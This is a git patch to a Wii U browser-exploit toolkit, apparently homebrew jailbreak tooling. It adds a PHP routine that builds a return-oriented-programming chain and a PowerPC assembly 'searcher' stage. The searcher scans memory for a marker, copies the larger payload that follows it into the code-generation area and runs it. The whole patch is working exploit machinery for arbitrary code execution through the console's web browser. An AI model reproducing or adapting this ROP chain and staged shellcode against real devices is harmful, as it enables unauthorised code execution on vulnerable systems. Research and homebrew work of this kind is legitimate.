From 1898ab431ffdd74c9427264e3324dddf3d4b32d5 Mon Sep 17 00:00:00 2001 From: orboditilt <45944072+orboditilt@users.noreply.github.com> Date: Thu, 10 Jan 2019 23:27:08 +0100 Subject: [PATCH] Adds a new rop chain. This embedds a small payload into the ROP which gets executed ("wiiuhaxx_searcher"), this payload searchs for a specifc value beginning at a certain address and expects another, bigger payload directly after this value. This "real" payload will then be executed. --- .gitignore | 2 + Makefile | 5 +- README.md | 1 + wiiu_browserhax_common.php | 124 ++++++++++++++++++++++++++++--------- wiiuhaxx_searcher.s | 60 ++++++++++++++++++ 5 files changed, 163 insertions(+), 29 deletions(-) create mode 100644 wiiuhaxx_searcher.s diff --git a/.gitignore b/.gitignore index 3fb494e..e1ca330 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,5 @@ wiiuhaxx_loader.elf wiiuhaxx_loader.bin tmp/ wiiuhaxx_rop_sysver_* +wiiuhaxx_searcher.bin +wiiuhaxx_searcher.elf diff --git a/Makefile b/Makefile index 381c658..3a5ad6a 100644 --- a/Makefile +++ b/Makefile @@ -36,6 +36,9 @@ all: loader locateall loader: $(CC) -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o wiiuhaxx_loader.elf wiiuhaxx_loader.s $(OBJCOPY) -O binary wiiuhaxx_loader.elf wiiuhaxx_loader.bin + + $(CC) -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o wiiuhaxx_searcher.elf wiiuhaxx_searcher.s + $(OBJCOPY) -O binary wiiuhaxx_searcher.elf wiiuhaxx_searcher.bin locateall: locate532 locate550 @@ -52,5 +55,5 @@ locatespecific: sh ./wiiuhaxx_locaterop.sh $(COREINIT_PATH) $(TEXTADDRESS) $(exe_ext) > wiiuhaxx_rop_sysver_$(FIRMWARE).php clean: - rm -rf wiiuhaxx_loader.elf wiiuhaxx_loader.bin wiiuhaxx_rop_sysver_* tmp + rm -rf wiiuhaxx_loader.elf wiiuhaxx_loader.bin wiiuhaxx_searcher.elf wiiuhaxx_searcher.bin wiiuhaxx_rop_sysver_* tmp diff --git a/README.md b/README.md index 3758571..8176e64 100644 --- a/README.md +++ b/README.md @@ -106,6 +106,7 @@ For example: $wiiuhaxxcfg_payloadfilepath = "";//Remember that this is just an example, you can programmatically select the payload path by checking the request URL/etc if you want as well. $wiiuhaxxcfg_loaderfilepath = ""; +$wiiuhaxxcfg_searchpayloadfilepath = ""; ?> ``` diff --git a/wiiu_browserhax_common.php b/wiiu_browserhax_common.php index 97928d3..1a99d62 100644 --- a/wiiu_browserhax_common.php +++ b/wiiu_browserhax_common.php @@ -121,28 +121,45 @@ function generate_ropchain() { generateropchain_type3(); } + else if ($ropchainselect==4) + { + generateropchain_type4(); + } if($generatebinrop==0)$ROPCHAIN.= "\""; } -function wiiuhaxx_generatepayload() +function wiiuhaxx_loadfilebinary($pathToFile){ + $payload = file_get_contents($pathToFile); + if($payload === FALSE || strlen($payload) < 4){ + die("-1: Failed to load: ". $pathToFile); + } + + $len = strlen($payload); + + while($len & 0x3){ + $payload.= pack("C*", 0x00); + $len = strlen($payload); + } + return $payload; +} + +function wiiuhaxx_generatepayload(){ + global $wiiuhaxxcfg_payloadfilepath; + return wiiuhaxx_loadfilebinary($wiiuhaxxcfg_payloadfilepath); +} + +function wiiuhaxx_generatepayloadwithloader() { global $wiiuhaxxcfg_payloadfilepath, $wiiuhaxxcfg_loaderfilepath; - $actual_payload = file_get_contents($wiiuhaxxcfg_payloadfilepath); - if($actual_payload === FALSE || strlen($actual_payload) < 4)return FALSE; + $actual_payload = wiiuhaxx_loadfilebinary($wiiuhaxxcfg_payloadfilepath); $loader = file_get_contents($wiiuhaxxcfg_loaderfilepath); if($loader === FALSE || strlen($loader) < 4)return FALSE; - $len = strlen($actual_payload); - - while($len & 0x3)//The actual payload size must be 4-byte aligned. - { - $actual_payload.= pack("C*", 0x00); - $len = strlen($actual_payload); - } - + $len = strlen($actual_payload); + $loader .= pack("N*", $len); return $loader . $actual_payload; @@ -383,6 +400,7 @@ function ropgen_display_u32($skip_printval_initialization)//This prints the valu ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//snprintf(outstr, "%x", 0x40, ); + $r28 = 0; // This may be wrong, but without this line we get a warning. ropchain_appendu32($r28);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 @@ -415,21 +433,11 @@ function ropgen_switchto_core1() ropchain_appendu32(0x0); } -function ropgen_writerop_toAddress($payload_srcaddr){ - global $wiiuhaxxcfg_payloadfilepath; - - $actual_payload = file_get_contents($wiiuhaxxcfg_payloadfilepath); - if($actual_payload === FALSE || strlen($actual_payload) < 4) die("-1: Failed to load payload"); - - $len = strlen($actual_payload); - - while($len & 0x3){ - $actual_payload.= pack("C*", 0x00); - $len = strlen($actual_payload); - } - +function ropgen_writerop_toAddress($path, $dstaddr){ + $payload = wiiuhaxx_loadfilebinary($path); + $len = strlen($payload); for($i = 0; $i < $len; $i +=4) { - ropgen_writeword_tomem(hexdec (bin2hex (substr($actual_payload, $i, 4))),$payload_srcaddr + $i); + ropgen_writeword_tomem(hexdec (bin2hex (substr($payload, $i, 4))),$dstaddr + $i); } } @@ -446,7 +454,7 @@ function generateropchain_type1() //ropchain_appendu32(0x80808080);//Trigger a crash. //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); - + ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); @@ -476,14 +484,14 @@ function generateropchain_type1() // The rop may get quite big here. function generateropchain_type2(){ - global $payload_srcaddr, $ROPHEAP, $ROPCHAIN; + global $payload_srcaddr, $ROPHEAP, $ROPCHAIN, $wiiuhaxxcfg_payloadfilepath; $payload_size = 0x20000; $codegen_addr = 0x01800000; //$payload_srcaddr must be defined by the code including this .php. // Write payload from file to - ropgen_writerop_toAddress($payload_srcaddr); + ropgen_writerop_toAddress($wiiuhaxxcfg_payloadfilepath, $payload_srcaddr); //When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. ropgen_switchto_core1(); @@ -501,4 +509,64 @@ function generateropchain_type3(){ ropgen_OSFatal($payload_srcaddr); } +function generateropchain_type4() +{ + global $ROP_OSFatal, $ROP_Exit, $ROPHEAP, $ROPCHAIN, $payload_tmp_address, $wiiuhaxxcfg_searchpayloadfilepath, $payload_start_search,$valid_payload_dst_address, $payload_search_for; + + $payload_size = 0x20000; + $codegen_addr = 0x01800000; + + // $payload_tmp_address where to store payload from ROP. + if(!isset($payload_tmp_address)){ + die('please set $payload_tmp_address to a valid, unused, tmp address.'); + } + // $payload_start_search. start address of the payload search. + if(!isset($payload_start_search)){ + die('please set $payload_start_search. This should contain the start address of the payload search'); + } + //$valid_payload_dst_address = 0x1D500000; + if(!isset($valid_payload_dst_address)){ + die('please set $valid_payload_dst_address. This should address a region of 0x20000 bytes where the found payload it copied to.'); + } + + //$payload_search_for + if(!isset($payload_search_for)){ + die('please set $payload_search_for. This should contain a unqiue u32 value that is placed right before the payload.'); + } + + // size + $search_payload_length = strlen(wiiuhaxx_loadfilebinary($wiiuhaxxcfg_searchpayloadfilepath)); + + ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. + + // Write our search payload somewhere into mem + ropgen_writerop_toAddress($wiiuhaxxcfg_searchpayloadfilepath,$payload_tmp_address); + + // Copy it to codegen + ropgen_copycodebin_to_codegen($codegen_addr, $payload_tmp_address, $search_payload_length); + + // Set up some parameters + $regs = array(); + $regs[24 - 24] = $ROP_OSFatal;//r24 + $regs[25 - 24] = $ROP_Exit;//r25 + $regs[26 - 24] = $payload_size;//r26 sizeToCopy + $regs[27 - 24] = $payload_search_for - 0x04;// r27 SearchFor. substract 0x4 so we didn't find THIS accidentally. + $regs[28 - 24] = $payload_start_search; //r28 start of search + $regs[29 - 24] = $valid_payload_dst_address ; //r29 target address + $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. + $regs[31 - 24] = $ROPHEAP;//r31 + ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. + + // And run it! + ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. + + // We need this, not sure why tbh. + ropchain_appendu32(0x0); + + // On success, we should now have our actual payload @valid_payload_dst_address. Lets copy it to codegen. + ropgen_copycodebin_to_codegen($codegen_addr, $valid_payload_dst_address, $payload_size); + // and run it! + ropchain_appendu32($codegen_addr); +} + ?> diff --git a/wiiuhaxx_searcher.s b/wiiuhaxx_searcher.s new file mode 100644 index 0000000..64cdc3e --- /dev/null +++ b/wiiuhaxx_searcher.s @@ -0,0 +1,60 @@ +# Do not remove this. +bl l0 +l0: + +# Get the start search address (from r28) and save it in r4 +mr 4, 28 # Move r28(=start search address) into r4 + +# Get the target address (from r29) and save it in r3 +mr 3, 29 # Move r29(=target address into r3 + +#r3 = target adress +#r4 = search address + +# Get the search for (to be precise the value-4) value (from r27) and save it in r6 +mr 6, 27 # Move r27(=search for) into r6 +addi 6,6, 4 # Add 4 to it, to get the real target value. + +# Find search value +skipnop: # +lwz 5, 0(4) # load from r4 into r5 +addi 4,4,4 # increment r4 by 4 +cmp 0,0, 5,6 ; # check if it matches our search value +bne 0,skipnop # if not, repeat. + +# On failure we crash, on success the start address of the payload is in r4 + +#r3 = target adress +#r4 = startaddress of payload + +# load "sizeToCopy" from r26 into r5, thats the size we want to copy. +mr 5, 26 # sizeToCopy + +#r3 = target adress +#r4 = startaddress of payload +#r5 = size to copy + +# Calculate the numbers of words to copy and save it in the counter register (payload_size>>2). +li 6, 2 # load 2 into r6 +srw 5, 5, 6 # Shift Right Word. Shift r5 by r6 (2). To get the number of words (4 bytes each) to copy. +mtctr 5 # ctr reg = above u32 value >> 2. Put it into counter register. + +#r3 = target adress +#r4 = startaddress of payload +#ctr words to copy + +# Copy ctr words starting from r4 to r3. +copylp: # Copy the data from _end+4 with size *_end, to the address from r29 (which is now in r3). +lwz 5, 0(4) # load from r4 +stw 5, 0(3) # write to r3 from r5 +addi 4,4,4 +addi 3,3,4 # increment both addresses +bdnz copylp #Decrement count register and branch if it becomes nonzero + +# Continue our ROP to now copy the memory from "target address" to codegen. +add 1, 1, 30 # Jump to the code-loading ROP to load the codebin which was copied above. (add r30(=8) to r1(the stackpointer) +lwz 3, 4(1) #read load adress from r1 with offset 4 into r3 +mtctr 3 # move r3 to count register +bctr # continue the rop. + +_end: